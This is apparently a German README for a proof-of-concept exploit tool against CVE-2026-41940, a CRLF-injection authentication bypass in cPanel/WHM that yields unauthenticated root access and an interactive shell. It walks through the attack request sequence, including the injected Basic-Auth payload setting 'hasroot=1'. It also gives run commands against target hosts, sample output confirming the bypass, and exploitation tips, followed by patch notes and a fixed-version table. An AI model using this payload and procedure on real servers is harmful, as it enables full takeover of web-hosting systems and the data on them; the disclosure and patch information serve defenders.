
Proof-of-Concept-Exploit für CVE-2026-41940, eine kritische Authentifizierungsumgehung in cPanel/WHM über CRLF-Injection, die nicht authentifizierten Root-Zugriff und eine interaktive Shell ermöglicht.
Autor: SilySec
Originalforschung: Sina Kheirkhah (@SinSinology) / watchTowr Labs
Schweregrad: Kritisch (CVSS 9.8)
Typ: CRLF-Injection → Authentifizierungsumgehung → Root-Shell
CVE-2026-41940 ist eine kritische Schwachstelle in cPanel/WHM, die es einem nicht authentifizierten Angreifer ermöglicht, über eine CRLF-Injection im Basic-Authentifizierungsmanager von cpsrvd vollständigen Root-Zugriff zu erlangen.
Die Schwachstelle kombiniert drei Schwächen:
saveSession() in Cpanel/Session.pm bereinigt die Zeichen \r\n nicht vor dem Schreiben auf die Festplatte, wenn der Schlüssel <ob> im Cookie fehlt.<obHEX> im Session-Cookie wird der Session-Encoder nicht aktiviert, sodass die CRLF-Bytes im Klartext in die Session-Datei geschrieben werden.Cpanel::Session::Modify::save() liest die Rohdatei erneut und befördert die injizierten CRLF-Schlüssel in den JSON-Cache, wodurch die Session vollständig authentifiziert wird.POST /login/?login_only=1 [falsches Passwort]
└─► cookie: whostmgrsession=:ID,<obHEX>
,<obHEX> entfernen → :ID [deaktiviert den Encoder]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd schreibt die rohen CRLF-Bytes in die Session-Datei
GET /scripts2/listaccts + Cookie: :ID [ohne Sicherheits-Token]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► JSON-Cache wird mit hasroot=1, tfa_verified=1 neu aufgebaut
→ Session als root authentifiziert
pip install requests
# Für den --terminal-Modus (optional):
pip install paramiko
python3 poc.py --target https://ZIEL:2087
python3 poc.py --target https://ZIEL:2087 --terminal
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.beispiel.com
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.beispiel.com
[1/4] minting preauth session ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] injecting CRLF payload ...
307 → leaked token = /cpsess1234567890
[3/4] triggering cache propagation ...
do_token_denied → Cpanel::Session::Modify::save() fired
[4/4] verifying root access ...
✔ AUTH BYPASS CONFIRMED
cPanel version : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
Host-Header verwendet werden (nicht die IP) — cpsrvd verwaltet Sessions je nach Hostname unterschiedlich9999999999 sein (fest, ferne Zukunft) — ein aktueller Zeitstempel schlägt fehlsuccessful_internal_auth_with_timestamp muss zuerst kommenDer Patch verschiebt den Aufruf von filter_sessiondata() in saveSession() und fügt eine bedingte Kodierung hinzu, wenn der Schlüssel <ob> fehlt, wodurch jegliches Schreiben im Klartext verhindert wird.
cPanel/WHM sofort auf die oben aufgeführten korrigierten Versionen aktualisieren.
Dieses Tool wird ausschließlich zu Forschungs- und internen Testzwecken bereitgestellt. Jegliche Nutzung auf Systemen ohne ausdrückliche Genehmigung ist illegal. SilySec übernimmt keine Haftung für missbräuchliche Verwendung.
| Branch | Letzte verwundbare Version | Korrigierte Version |
|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.62 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.28 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.5 | 11.136.0.6 |